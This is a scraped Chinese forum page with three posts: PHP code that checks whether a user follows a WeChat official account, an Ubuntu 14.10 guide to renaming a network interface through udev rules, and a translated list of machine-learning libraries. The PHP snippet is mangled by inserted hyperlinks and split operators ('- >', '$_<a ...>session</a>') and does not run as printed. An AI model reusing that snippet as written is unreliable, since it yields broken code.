微信公众号判断用户是否已关注php代码解析

scutephp 发表了文章 • 0 个评论 • 31 次浏览 • 2 天前 • 来自相关话题

现在的活动,很多都引导用户关注公众号,才能参与到活动当中,那如何才能判断用户关注了公众号呢? 本文就为大家提供php代码,解决问题。

官方接口说明
获取用户基本信息(包括UnionID机制) 

Http://mp.weixin.qq.com/wiki/14/bb5031008f1494a59c6f71fa0f319c66.HTML

1、只要有基础的access_token和用户openid就可以判断用户是否关注该公众号
2、利用的接口url为:https://api.weixin.qq.com/cgi-bin/user/info?access_token=$token&openid=$openid
3、判断接口返回的字段subscribe是否为1.【1关注,0未关注】

注:
1、判断用户登录的方式为静默授权,用户无感知,从而得到用户的openid;
2、判断用户登录,需要微信认证服务号的支持,订阅号不行; 

下面是代码案例
 < ? php

$access_token = $this - > _getAccessToken();
$subscribe_msg = 'https://api.weixin.qq.com/cgi-bin/user/info?access_token='.$access_token.'&openid='.$_<a data-cke-saved-href="http://www.kubiji.cn/juhe_listing-idPHPSESSION.html" href="http://www.kubiji.cn/juhe_listing-idPHPSESSION.html">session</a>['wecha_id'];
$subscribe = <a data-cke-saved-href="http://www.kubiji.cn/juhe_listing-idPHPJSON.html" href="http://www.kubiji.cn/juhe_listing-idPHPJSON.html">json</a>_decode($this - > <a data-cke-saved-href="http://www.kubiji.cn/juhe_listing-idPHPCURL.html" href="http://www.kubiji.cn/juhe_listing-idPHPCURL.html">curl</a>Get($subscribe_msg));
$zyxx = $subscribe - > subscribe;

if ($zyxx !== 1) {
echo'未关注!';
}
private function _getAccessToken() {
$where = array('token' = > $this - > token);
$this - > thisWxUser = M('Wxuser') - > where($where) - > find();
$url_get = 'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$this - > thisWxUser['appid'].'&secret='.$this - > thisWxUser['appsecret'];
$json = json_decode($this - > curlGet($url_get));
if (!$json - > errmsg) {
} else {
$this - > error('获取access_token发生错误:错误代码'.$json - > errcode.',微信返回错误信息:'.$json - > errmsg);
}
return $json - > access_token;
}
? >

 
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持酷笔记。

原文链接:http://www.kubiji.cn/topic-id3162.html 查看全部
现在的活动,很多都引导用户关注公众号,才能参与到活动当中,那如何才能判断用户关注了公众号呢? 本文就为大家提供php代码,解决问题。

官方接口说明
获取用户基本信息(包括UnionID机制) 

Http://mp.weixin.qq.com/wiki/14/bb5031008f1494a59c6f71fa0f319c66.HTML

1、只要有基础的access_token和用户openid就可以判断用户是否关注该公众号
2、利用的接口url为:https://api.weixin.qq.com/cgi-bin/user/info?access_token=$token&openid=$openid
3、判断接口返回的字段subscribe是否为1.【1关注,0未关注】

注:
1、判断用户登录的方式为静默授权,用户无感知,从而得到用户的openid;
2、判断用户登录,需要微信认证服务号的支持,订阅号不行; 

下面是代码案例
 
< ? php

$access_token = $this - > _getAccessToken();
$subscribe_msg = 'https://api.weixin.qq.com/cgi-bin/user/info?access_token='.$access_token.'&openid='.$_<a data-cke-saved-href="http://www.kubiji.cn/juhe_listing-idPHPSESSION.html" href="http://www.kubiji.cn/juhe_listing-idPHPSESSION.html">session</a>['wecha_id'];
$subscribe = <a data-cke-saved-href="http://www.kubiji.cn/juhe_listing-idPHPJSON.html" href="http://www.kubiji.cn/juhe_listing-idPHPJSON.html">json</a>_decode($this - > <a data-cke-saved-href="http://www.kubiji.cn/juhe_listing-idPHPCURL.html" href="http://www.kubiji.cn/juhe_listing-idPHPCURL.html">curl</a>Get($subscribe_msg));
$zyxx = $subscribe - > subscribe;

if ($zyxx !== 1) {
echo'未关注!';
}
private function _getAccessToken() {
$where = array('token' = > $this - > token);
$this - > thisWxUser = M('Wxuser') - > where($where) - > find();
$url_get = 'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$this - > thisWxUser['appid'].'&secret='.$this - > thisWxUser['appsecret'];
$json = json_decode($this - > curlGet($url_get));
if (!$json - > errmsg) {
} else {
$this - > error('获取access_token发生错误:错误代码'.$json - > errcode.',微信返回错误信息:'.$json - > errmsg);
}
return $json - > access_token;
}
? >

 
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持酷笔记

原文链接:http://www.kubiji.cn/topic-id3162.html

修改Ubuntu14.10网卡逻辑名实践

push 发表了文章 • 0 个评论 • 35 次浏览 • 2 天前 • 来自相关话题

Ubuntu安装完毕之后,如果发生异常宕机,可能导致网卡的逻辑名出现异常,或者和之前的不一致。如果你的应用处理是依据逻辑名,那么有可能数据会传输到非预期的网卡接口上去,今天我们看看在Ubuntu14.10 下网卡固话的过程。
 

网卡信息查询​

eth0 Link encap:以太网 硬件地址 52:54:00:09:e2:11
inet 地址:10.0.3.94 广播:10.0.3.255 掩码:255.255.255.0
inet6 地址: fe80::5054:ff:fe09:e211/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:4541 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:1908 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:288707 (288.7 KB) 发送字节:691213 (691.2 KB)

lo Link encap:本地环回
inet 地址:127.0.0.1 掩码:255.0.0.0
inet6 地址: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 跃点数:1
接收数据包:2503 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:2503 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:0
接收字节:836481 (836.4 KB) 发送字节:836481 (836.4 KB)上述HWaddr后面为eth0接口的MAC地址:  52:54:00:09:e2:11
 
查看已有网卡逻辑名:
root@ubuntu1410:~# ls /sys/class/net/
eth0 lo
查看指定网卡MAC地址:
eth0 Link encap:以太网 硬件地址 52:54:00:09:e2:11
inet 地址:10.0.3.94 广播:10.0.3.255 掩码:255.255.255.0
inet6 地址: fe80::5054:ff:fe09:e211/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:5512 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:2332 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:351337 (351.3 KB) 发送字节:855606 (855.6 KB)

生成配置文件

root@ubuntu1410:~# export INTERFACE="eth0"
root@ubuntu1410:~# export MATCHADDR="52:54:00:09:e2:11"
root@ubuntu1410:~# /lib/udev/write_net_rules # 生成命令
root@ubuntu1410:~# ls /etc/udev/rules.d/
70-persistent-net.rules 首先引入两个变量INTERFACE,MATCHADDR,然后执行write_net_rules,查看生成的文件70-persistent-net.rules
 
文件内容如下,删除KERNEL项,并修改NAME值。
# This file was automatically generated by the /lib/udev/write_net_rules
# program, run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single
# line, and change only the value of the NAME= key.

SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="52:54:00:09:e2:11", KERNEL=="eth*", NAME="eth0"修改后:
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="52:54:00:09:e2:11", NAME="em0"

禁用源网卡逻辑名规则文件

root@ubuntu1410:/etc/udev/rules.d# cd /lib/udev/rules.d/
root@ubuntu1410:/lib/udev/rules.d# mv 75-persistent-net-generator.rules 75-persistent-net-generator.rules.disabled

修改网卡配置

root@ubuntu1410:~# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 10.0.3.94
gateway 10.0.3.1
netmask 255.255.255.0
dns-nameservers 222.222.222.222修改后:
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto em0
iface em0 inet static
address 10.0.3.94
gateway 10.0.3.1
netmask 255.255.255.0
dns-nameservers 222.222.222.222不需要重启网卡,直接重启系统。
 

重启后查看新的网卡逻辑名

root@ubuntu1410:~# ls /sys/class/net/
em0 lo
root@ubuntu1410:~# ifconfig em0
em0 Link encap:以太网 硬件地址 52:54:00:09:e2:11
inet 地址:10.0.3.94 广播:10.0.3.255 掩码:255.255.255.0
inet6 地址: fe80::5054:ff:fe09:e211/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:8413 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:3456 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:525779 (525.7 KB) 发送字节:1092548 (1.0 MB)

root@ubuntu1410:~#到这里,网卡逻辑名称就修改完成了。 查看全部
Ubuntu安装完毕之后,如果发生异常宕机,可能导致网卡的逻辑名出现异常,或者和之前的不一致。如果你的应用处理是依据逻辑名,那么有可能数据会传输到非预期的网卡接口上去,今天我们看看在Ubuntu14.10 下网卡固话的过程。
 


网卡信息查询​


eth0       Link encap:以太网  硬件地址 52:54:00:09:e2:11  
inet 地址:10.0.3.94 广播:10.0.3.255 掩码:255.255.255.0
inet6 地址: fe80::5054:ff:fe09:e211/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:4541 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:1908 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:288707 (288.7 KB) 发送字节:691213 (691.2 KB)

lo Link encap:本地环回
inet 地址:127.0.0.1 掩码:255.0.0.0
inet6 地址: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 跃点数:1
接收数据包:2503 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:2503 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:0
接收字节:836481 (836.4 KB) 发送字节:836481 (836.4 KB)
上述HWaddr后面为eth0接口的MAC地址:  52:54:00:09:e2:11
 
查看已有网卡逻辑名:
root@ubuntu1410:~# ls /sys/class/net/  
eth0 lo

查看指定网卡MAC地址:
eth0       Link encap:以太网  硬件地址 52:54:00:09:e2:11  
inet 地址:10.0.3.94 广播:10.0.3.255 掩码:255.255.255.0
inet6 地址: fe80::5054:ff:fe09:e211/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:5512 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:2332 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:351337 (351.3 KB) 发送字节:855606 (855.6 KB)


生成配置文件


root@ubuntu1410:~# export INTERFACE="eth0"  
root@ubuntu1410:~# export MATCHADDR="52:54:00:09:e2:11"
root@ubuntu1410:~# /lib/udev/write_net_rules # 生成命令
root@ubuntu1410:~# ls /etc/udev/rules.d/
70-persistent-net.rules
首先引入两个变量INTERFACE,MATCHADDR,然后执行write_net_rules,查看生成的文件70-persistent-net.rules
 
文件内容如下,删除KERNEL项,并修改NAME值。
# This file was automatically generated by the /lib/udev/write_net_rules
# program, run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single
# line, and change only the value of the NAME= key.

SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="52:54:00:09:e2:11", KERNEL=="eth*", NAME="eth0"
修改后:
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="52:54:00:09:e2:11",  NAME="em0"


禁用源网卡逻辑名规则文件


root@ubuntu1410:/etc/udev/rules.d# cd /lib/udev/rules.d/  
root@ubuntu1410:/lib/udev/rules.d# mv 75-persistent-net-generator.rules 75-persistent-net-generator.rules.disabled


修改网卡配置


root@ubuntu1410:~# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 10.0.3.94
gateway 10.0.3.1
netmask 255.255.255.0
dns-nameservers 222.222.222.222
修改后:
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto em0
iface em0 inet static
address 10.0.3.94
gateway 10.0.3.1
netmask 255.255.255.0
dns-nameservers 222.222.222.222
不需要重启网卡,直接重启系统。
 


重启后查看新的网卡逻辑名


root@ubuntu1410:~# ls /sys/class/net/
em0 lo
root@ubuntu1410:~# ifconfig em0
em0 Link encap:以太网 硬件地址 52:54:00:09:e2:11
inet 地址:10.0.3.94 广播:10.0.3.255 掩码:255.255.255.0
inet6 地址: fe80::5054:ff:fe09:e211/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:8413 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:3456 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:525779 (525.7 KB) 发送字节:1092548 (1.0 MB)

root@ubuntu1410:~#
到这里,网卡逻辑名称就修改完成了。

国外程序员整理机器学习资源大全

scutephp 发表了文章 • 0 个评论 • 69 次浏览 • 2017-01-13 11:13 • 来自相关话题

我想很多程序员应该记得 GIThUB 上有一个 Awesome - XXX 系列的资源整理。awesome-machine-learning 就是 josephmisiti 发起维护的机器学习资源列表,内容包括了机器学习领域的框架、库以及软件(按编程语言排序)。

C++

计算机视觉

CCV:基于C语言/提供缓存/核心的机器视觉库,新颖的机器视觉库。官网

OpenCV:它提供C++、C、Python、Java 以及 MATLAB接口。并支持Windows、Linux、Android 和 Mac OS操作系统。官网

通用机器学习

MLPack:官网。

DLib:官网。

ecogg:官网。

shark:官网。

Closure

通用机器学习

Closure Toolbox:Clojure语言库与工具的分类目录。官网

Go

自然语言处理

go-porterstemmer:一个Porter词干提取算法的原生Go语言净室实现。官网

paicehusk:Paice/Husk词干提取算法的Go语言实现。官网

snowball:Go语言版的Snowball词干提取器。官网

通用机器学习

Go Learn:Go语言机器学习库。官网

go-pr:Go语言机器学习包。官网

bayesian:Go语言朴素贝叶斯分类库。官网

go-galib:Go语言遗传算法库。官网

数据分析/数据可视化

go-graph:Go语言图形库。官网

SVGo:Go语言的SVG生成库。官网

Java

自然语言处理

CoreNLP:斯坦福大学的CoreNLP提供一系列的自然语言处理工具,输入原始英语文本,可以给出单词的基本形式(下面Stanford开头的几个工具都包含其中)。官网

Stanford Parser:一个自然语言解析器。官网

Stanford POS Tagger:一个词性分类器。官网

Stanford Name Entity Recognizer:Java实现的名称识别器。官网

Stanford Word Segmenter:分词器,很多NLP工作中都要用到的标准预处理步骤。官网。

Tregex、Tsurgeon与Semgrex:用来在树状数据结构中进行模式匹配,基于树关系以及节点匹配的正则表达式(名字是“tree regular expressions"的缩写)官网

Stanford Phrasal:最新的基于统计短语的机器翻译系统,java编写。官网

Stanford Tokens Regex:用以定义文本模式的框架。官网

Stanford Temporal Tagger:SUTime是一个识别并标准化时间表达式的库。官网

Stanford SPIED:在种子集上使用模式,以迭代方式从无标签文本中学习字符实体。官网。

Stanford Topic Modeling Toolbox:为社会科学家及其他希望分析数据集的人员提供的主题建模工具。官网

Twitter Text Java:Java实现的推特文本处理库。官网

MALLET:基于Java的统计自然语言处理、文档分类、聚类、主题建模、信息提取以及其他机器学习文本应用包。官网

OpenNLP:处理自然语言文本的机器学习工具包。官网

LingPipe:使用计算机语言学处理文本的工具包。官网

通用机器学习

MLlib in Apache Spark:Spark中的分布式机器学习程序库。官网

Mahout:分布式的机器学习库。官网

Stanford Classifier:斯坦福大学的分类器。官网

Weka:Weka是数据挖掘方面的机器学习算法集。官网

ORYX:提供一个简单的大规模实时机器学习/预测分析基础架构。官网

数据分析/数据可视化

Hadoop:大数据分析平台。官网

Spark:快速通用的大规模数据处理引擎。官网

Impala:为Hadoop实现实时查询。官网

Javascript

自然语言处理

Twitter-text-js:JavaScript实现的推特文本处理库。官网

NLP.js:javascript及coffeescript编写的NLP工具。官网

natural:Node下的通用NLP工具。官网

Knwl.js:JS编写的自然语言处理器。官网

数据分析/数据可视化

D3.js:官网。

High Charts:官网。

NVD3.js:官网。

dc.js:官网。

chartjs:官网。

dimple:官网。

amCharts:官网。

通用机器学习

Convnet.js:训练深度学习模型的JavaScript库。官网

Clustering.js:用JavaScript实现的聚类算法,供Node.js及浏览器使用。官网

Decision Trees:Node.js实现的决策树,使用ID3算法。官网

Node-fann:Node.js下的快速人工神经网络库。官网

Kmeans.js:k-means算法的简单Javascript实现,供Node.js及浏览器使用。官网

LDA.js:供Node.js用的LDA主题建模工具。官网

Learning.js:逻辑回归/c4.5决策树的JavaScript实现。官网

Machine Learning:Node.js的机器学习库。官网

Node-SVM:Node.js的支持向量机。官网

Brain:JavaScript实现的神经网络。官网

Bayesian-Bandit:贝叶斯强盗算法的实现,供Node.js及浏览器使用。官网

Julia

通用机器学习

PGM:Julia实现的概率图模型框架。官网

DA:Julia实现的正则化判别分析包。官网

Regression:回归分析算法包(如线性回归和逻辑回归)。官网

Local Regression:局部回归,非常平滑!。官网

Naive Bayes:朴素贝叶斯的简单Julia实现。官网

Mixed Models:(统计)混合效应模型的Julia包。官网

Simple MCMC:Julia实现的基本mcmc采样器。官网。

Distance:Julia实现的距离评估模块。官网

Decision Tree:决策树分类器及回归分析器。官网

Neural:Julia实现的神经网络。官网

MCMC:Julia下的MCMC工具。官网

GLM:Julia写的广义线性模型包。官网

Online Learning:官网

GLMNet:GMLNet的Julia包装版,适合套索/弹性网模型。官网

Clustering:k-means, dp-means等数据聚类的基本函数。官网

SVM:Julia下的支持向量机。官网

Kernal Density:Julia下的核密度估计器。官网

Dimensionality Reduction:降维算法。官网

NMF:Julia下的非负矩阵分解包。官网

ANN:Julia实现的神经网络。官网

自然语言处理

Topic Models:Julia下的主题建模。官网

Text Analysis:Julia下的文本分析包。官网

数据分析/数据可视化

Graph Layout:纯Julia实现的图布局算法。官网

Data Frames Meta:DataFrames的元编程工具。官网

Julia Data:处理表格数据的Julia库。官网

Data Read:从Stata、SAS、SPSS读取文件。官网

Hypothesis Tests:Julia中的假设检验包。官网

Gladfly:Julia编写的灵巧的统计绘图系统。官网

Stats:Julia编写的统计测试函数包。官网

RDataSets:读取R语言中众多可用的数据集的Julia函数包。官网

DataFrames:处理表格数据的Julia库。官网

Distributions:概率分布及相关函数的Julia包。官网

Data Arrays:元素值可以为空的数据结构。官网

Time Series:Julia的时间序列数据工具包。官网

Sampling:Julia的基本采样算法包。官网

杂项/演示文稿

DSP:数字信号处理。官网

JuliaCon Presentations:Julia大会上的演示文稿。官网

SignalProcessing:Julia的信号处理工具。官网

Images:Julia的图片库。官网


Lua

通用机器学习

Torch7。

cephes:—Cephes数学函数库,包装成Torch可用形式提供并包装了超过180个特殊的数学函数,由Stephen L. Moshier开发,是SciPy的核心,应用于很多场合。官网

graph:供Torch使用的图形包。官网

randomkit:从Numpy提取的随机数生成包,包装成Torch可用形式。官网

signal:Torch-7可用的信号处理工具包,可进行FFT, DCT, Hilbert, cepstrums, stft等变换。官网

nn:Torch可用的神经网络包。官网

nngraph:为nn库提供图形计算能力。官网

nnx:一个不稳定实验性的包,扩展Torch内置的nn库。官网

optim:Torch可用的优化算法库,包括 SGD, Adagrad, 共轭梯度算法, LBFGS, RProp等算法。官网

unsup:Torch下的非监督学习包提供的模块与nn(LinearPsd、ConvPsd、AutoEncoder、...)及独立算法(k-means、PCA)等兼容。官网

manifold:操作流形的包。官网

svm:Torch的支持向量机库。官网

lbfgs:将liblbfgs包装为FFI接口。官网

vowpalwabbit:老版的vowpalwabbit对torch的接口。官网

OpenGM:OpenGM是C++编写的图形建模及推断库,该binding可以用Lua以简单的方式描述图形,然后用OpenGM优化。官网。

sphagetti:MichaelMathieu为torch7编写的稀疏线性模块。官网

LuaSHKit:将局部敏感哈希库SHKit包装成lua可用形式。官网

kernel smoothing:KNN、核权平均以及局部线性回归平滑器。官网

cutorch:torch的CUDA后端实现。官网

cunn:torch的CUDA神经网络实现。官网

imgraph:torch的图像/图形库,提供从图像创建图形、分割、建立树、又转化回图像的例程。官网

videograph:torch的视频/图形库,提供从视频创建图形、分割、建立树、又转化回视频的例程。官网

saliency:积分图像的代码和工具,用来从快速积分直方图中寻找兴趣点。官网

stitch:使用hugin拼合图像并将其生成视频序列。官网

sfm:运动场景束调整/结构包。官网

fex:torch的特征提取包,提供SIFT和dSIFT模块。官网

OverFeat:当前最高水准的通用密度特征提取器。官网

Numeric Lua:官网。

Lunatic Python:官网。

SciLua:官网。

Lua - Numerical Algorithms:官网。

Lunum:官网。

演示及脚本

Core torch7 demos repository:核心torch7演示程序库。官网

线性回归、逻辑回归

人脸检测(训练和检测是独立的演示)

基于mst的断词器

train-a-digit-classifier

train-autoencoder

optical flow demo

train-on-housenumbers

train-on-cifar

tracking with deep nets

kinect demo

滤波可视化

saliency-networks

Training a Convnet for the Galaxy-Zoo Kaggle challenge(CUDA demo):官网

Music Tagging:torch7下的音乐标签脚本。官网

torch-datasets:官网 读取几个流行的数据集的脚本,包括

BSR 500

CIFAR-10

COIL

Street View House Numbers

MNIST

NORB

Atari2600:在Arcade Learning Environment模拟器中用静态帧生成数据集的脚本。官网

Matlab

计算机视觉

Contourlets:实现轮廓波变换及其使用函数的MATLAB源代码。官网 。

Shearlets:剪切波变换的MATLAB源码。官网

Curvelets:Curvelet变换的MATLAB源码(Curvelet变换是对小波变换向更高维的推广,用来在不同尺度角度表示图像)。官网

Bandlets:Bandlets变换的MATLAB源码。官网

自然语言处理

NLP:一个Matlab的NLP库。官网

通用机器学习

Training a deep autoencoder or a classifier on MNIST digits:在MNIST字符数据集上训练一个深度的autoencoder或分类器。官网

t-Distributed Stochastic Neighbor Embedding:获奖的降维技术,特别适合于高维数据集的可视化。官网

Spider:Matlab机器学习的完整面向对象环境。官网

LibSVM:支持向量机程序库。官网

LibLinear:大型线性分类程序库。官网

Machine Learning Module:M. A .Girolami教授的机器学习课程,包括PDF、讲义及代码。官网

Caffe:考虑了代码清洁、可读性及速度的深度学习框架。官网

Pattern Recognition Toolbox:Matlab中的模式识别工具包、完全面向对象。官网

数据分析/数据可视化

matlab_gbl:处理图像的Matlab包。官网

gamic:图像算法纯Matlab高效实现,对MatlabBGL的mex函数是个补充。官网


.NET

计算机视觉

OpenCVDotNet:包装器,使.NET程序能使用OpenCV代码。官网

Emgu CV:跨平台的包装器,能在Windows、Linus、Mac OS X、iOS和Android上编译。官网

自然语言处理

Stanford.NLP for .NET:斯坦福大学NLP包在.NET上的完全移植,还可作为NuGet包进行预编译。官网 。

通用机器学习

Accord.MachineLearning:随机抽样一致性算法、交叉验证、网格搜索这个包是Accord.NET框架的一部分支持向量机、决策树、朴素贝叶斯模。型、K-means、高斯混合模型和机器学习应用的通用算法。官网:

Vulpes:F#语言实现的Deep belief和深度学习包,它在Alea.cuBase下利用CUDA GPU来执行。官网

Encog:先进的神经网络和机器学习框架,包括用来创建多种网络的类,也支。持神经网络需要的数据规则化及处理的类它的训练采用多线程弹性传播。它也能使用GPU加快处理时间提供了图形化界面来帮助建模和训练神经网络。官网

Neural Network Designer:这是一个数据库管理系统和神经网络设计器设计器用WPF开发,也是一个UI,你可以设计你的神经网络、查询网络、创建并配置聊天机器人,它能问问题,并从你的反馈中学习这些机器人甚至可以从网络搜集信息用来输出,或是用来学习。官网

数据分析/数据可视化

numl:numl这个机器学习库,目标就是简化预测和聚类的标准建模技术。官网

Math.NET Numerics:Math.NET项目的数值计算基础,着眼提供科学、工程以及日常数值计算的方法和算法支持 Windows、Linux 和 。Mac上的 .Net 4.0、.Net 3.5 和 Mono ,Silverlight 5、WindowsPhone/SL 8、WindowsPhone 8.1 以及装有 PCL Portable Profiles 47 及 344的Windows 8, 装有 Xamarin的Android/iOS。官网

Sho:Sho是数据分析和科学计算的交互式环境,可以让你将脚本(IronPython语言)和编译的代码(.NET)无缝连接,以快速灵活的建立原型。官网这个环境包括强大高效的库,如线性代数、数据可视化,可供任何.NET语言使用,还为快速开发提供了功能丰富的交互式shell

Python

计算机视觉

SimpleCV:开源计算机视觉框架,可以访问如OpenCV等高性能计算机视觉库使用Python编写,可以在Mac、Windows以及Ubuntu上运行。官网。

自然语言处理

NLTK:一个领先的平台,用来编写处理人类语言数据的Python程序。官网

Pattern:Python可用的web挖掘模块,包括自然语言处理、机器学习等工具。官网

TextBlob:为普通自然语言处理任务提供一致的API,以NLTK和Pattern为基础,并和两者都能很好兼容。官网。

jieba:中文断词工具。官网

SnowNLP:中文文本处理库。官网

loso:另一个中文断词库。官网

genius:基于条件随机域的中文断词库。官网

nut:自然语言理解工具包。官网

通用机器学习

Bayesian Methods for Hackers:Python语言概率规划的电子书。官网

MLlib in Apache Spark:Spark下的分布式机器学习库。官网

scikit-learn:基于SciPy的机器学习模块。官网

graphlab-create:包含多种机器学习模块的库(回归、聚类、推荐系统、图分析等),基于可以磁盘存储的DataFrame。官网

BigML:连接外部服务器的库。官网

pattern:Python的web挖掘模块。官网

NuPIC:Numenta公司的智能计算平台。官网

Pylearn2:基于Theano的机器学习库。官网

hebel:Python编写的使用GPU加速的深度学习库。官网

gensim:主题建模工具。官网

PyBrain:另一个机器学习库。官网

Crab:可扩展的、快速推荐引擎。官网

python-recsys:Python实现的推荐系统。官网

thinking bayes:关于贝叶斯分析的书籍。官网

Restricted Boltzmann Machines:Python实现的受限波尔兹曼机。官网

Bolt:在线学习工具箱。官网

CoverTree:cover tree的Python实现,scipy.spatial.kdtree便捷的替代。官网

nilearn:Python实现的神经影像学机器学习库。官网

Shogun:机器学习工具箱。官网

Pyevolve:遗传算法框架。官网

Caffe:考虑了代码清洁、可读性及速度的深度学习框架。官网

breze:深度及递归神经网络的程序库,基于Theano。官网

数据分析/数据可视化

SciPy:基于Python的数学、科学、工程开源软件生态系统。官网

NumPy:Python科学计算基础包。官网

Numba:Python的低级虚拟机JIT编译器,Cython and NumPy的开发者编写,供科学计算使用。官网

NetworkX:为复杂网络使用的高效软件。官网

Pandas:这个库提供了高性能、易用的数据结构及数据分析工具。官网

Open Mining:Python中的商业智能工具(Pandas web接口)。官网

PyMC:MCMC采样工具包。官网

zipline:Python的算法交易库。官网

PyDy:全名Python Dynamics,协助基于NumPy、SciPy、IPython以及 matplotlib的动态建模工作流。官网

SymPy:符号数学Python库。官网

statsmodels:Python的统计建模及计量经济学库。官网

astropy:Python天文学程序库,社区协作编写。官网

matplotlib:Python的2D绘图库。官网

bokeh:Python的交互式Web绘图库。官网

plotly:Python and matplotlib的协作web绘图库。官网

vincent:将Python数据结构转换为Vega可视化语法。官网

d3py:Python的绘图库,基于D3.js。官网

ggplot:和R语言里的ggplot2提供同样的API。官网

Kartograph.py:Python中渲染SVG图的库,效果漂亮。官网

pygal:Python下的SVG图表生成器。官网

pycascading:官网

杂项脚本/iPython笔记/代码库

pattern_classification:官网

thinking stats 2:官网

hyperopt:官网

numpic:官网

2012-paper-diginorm:官网

ipython-notebooks:官网

decision-weights:官网

Sarah Palin LDA:Sarah Palin关于主题建模的电邮。官网

Diffusion Segmentation:基于扩散方法的图像分割算法集合。官网

Scipy Tutorials:SciPy教程,已过时,请查看scipy-lecture-notes。官网

Crab:Python的推荐引擎库。官网

BayesPy:Python中的贝叶斯推断工具。官网

scikit-learn tutorials:scikit-learn学习笔记系列。官网

sentiment-analyzer:推特情绪分析器。官网

group-lasso:坐标下降算法实验,应用于(稀疏)群套索模型。官网

mne-python-notebooks:使用 mne-python进行EEG/MEG数据处理的IPython笔记。官网

pandas cookbook:使用Python pandas库的方法书。官网

climin:机器学习的优化程序库,用Python实现了梯度下降、LBFGS、rmsprop、adadelta 等算法。官网

Kaggle竞赛源代码

wiki challange:Kaggle上一个维基预测挑战赛 Dell Zhang解法的实现。官网

kaggle insults:Kaggle上”从社交媒体评论中检测辱骂“竞赛提交的代码。官网

kaggle_acquire-valued-shoppers-challenge:Kaggle预测回头客挑战赛的代码。官网

kaggle-cifar:Kaggle上CIFAR-10 竞赛的代码,使用cuda-convnet。官网

kaggle-blackbox:Kaggle上blackbox赛代码,关于深度学习。官网

kaggle-accelerometer:Kaggle上加速度计数据识别用户竞赛的代码。官网

kaggle-advertised-salaries:Kaggle上用广告预测工资竞赛的代码。官网

kaggle amazon:Kaggle上给定员工角色预测其访问需求竞赛的代码。官网

kaggle-bestbuy_big:Kaggle上根据bestbuy用户查询预测点击商品竞赛的代码(大数据版)。官网

kaggle-bestbuy_small:Kaggle上根据bestbuy用户查询预测点击商品竞赛的代码(小数据版)。官网

Kaggle Dogs vs. Cats:Kaggle上从图片中识别猫和狗竞赛的代码。官网

Kaggle Galaxy Challenge:Kaggle上遥远星系形态分类竞赛的优胜代码。官网

Kaggle Gender:Kaggle竞赛,从笔迹区分性别。官网

Kaggle Merck:Kaggle上预测药物分子活性竞赛的代码(默克制药赞助)。官网

Kaggle Stackoverflow:Kaggle上 预测StackOverflow网站问题是否会被关闭竞赛的代码。官网

wine-quality:预测红酒质量。官网

Ruby

自然语言处理

Treat:文本检索与注释工具包,Ruby上我见过的最全面的工具包。官网

Ruby Linguistics:这个框架可以用任何语言为Ruby对象构建语言学工具包。括一个语言无关的通用前端,一个将语言代码映射到语言名的模块,和一个含有很有英文语言工具的模块。官网

Stemmer:使得Ruby可用 libstemmer_c中的接口。官网

Ruby Wordnet:WordNet的Ruby接口库。官网

Raspel:aspell绑定到Ruby的接口。官网

UEA Stemmer:UEALite Stemmer的Ruby移植版,供搜索和检索用的保守的词干分析器。官网

Twitter-text-rb:该程序库可以将推特中的用户名、列表和话题标签自动连接并提取出来。官网

通用机器学习

Ruby Machine Learning:Ruby实现的一些机器学习算法。官网

Machine Learning Ruby:官网

jRuby Mahout:精华!在JRuby世界中释放了Apache Mahout的威力。官网

CardMagic-Classifier:可用贝叶斯及其他分类法的通用分类器模块。官网

Neural Networks and Deep Learning:《神经网络和深度学习》一书的示例代码。官网

数据分析/数据可视化

rsruby:Ruby - R bridge。官网

data-visualization-ruby:关于数据可视化的Ruby Manor演示的源代码和支持内容。官网

